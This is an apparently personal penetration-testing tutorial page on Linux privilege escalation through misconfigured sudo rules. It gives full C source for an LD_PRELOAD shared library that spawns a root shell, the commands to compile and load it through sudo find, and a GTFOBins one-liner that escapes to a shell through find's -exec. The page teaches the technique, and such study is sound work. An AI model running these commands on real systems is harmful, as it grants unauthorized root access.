> For the complete documentation index, see [llms.txt](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/privilege-escalation/linux/vulnerabilities-exploit/sudo.md).

# Sudo

Suppose for the below examples, the low-privileged user is allowed to run the `find` command with *sudo* privileges

```bash
$ sudo -l
Matching Defaults entries for [] on ...:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD
    ...

User [] may run the following commands on ...:
     ...
    (ALL) NOPASSWD: /usr/bin/find
    ...
```

## LD\_PRELOAD env variable

> LD\_PRELOAD is an environment variable in Linux that allows you to force the system to load specific shared libraries before any other libraries when running a program.

### Example

To exploit the LD\_PRELOAD environment variable, look for `env_keep+=LD_PRELOAD` from the results of the `sudo -l` command.

C code which simply spawns a root shell

***shell.c***

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

Using `gcc` to compile the C code into a shared object file:

{% embed url="<https://man7.org/linux/man-pages/man1/gcc.1.html>" %}

```bash
$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

1. `-fPIC`

> If supported for the target machine, emit position-independent code, suitable for dynamic linking and avoiding any limit on the size of the global offset table.

2. `-shared`

> Produce a shared object which can then be linked with other objects to form an executable

3. `-nostartfiles`

> Do not use the standard system startup files when linking

Run the `find` command with `LD_PRELOAD` set as the previously created shared object file. This essentially executes the C code to spawn the root shell.

```bash
$ sudo LD_PRELOAD=.../shell.so find
```

## Binaries with sudo privileges

Suppose the binary with sudo privilege is `/usr/bin/find`

```bash
$ sudo find . -exec /bin/sh \; -quit
```

Adapted from: <https://gtfobins.github.io/gtfobins/find/#sudo>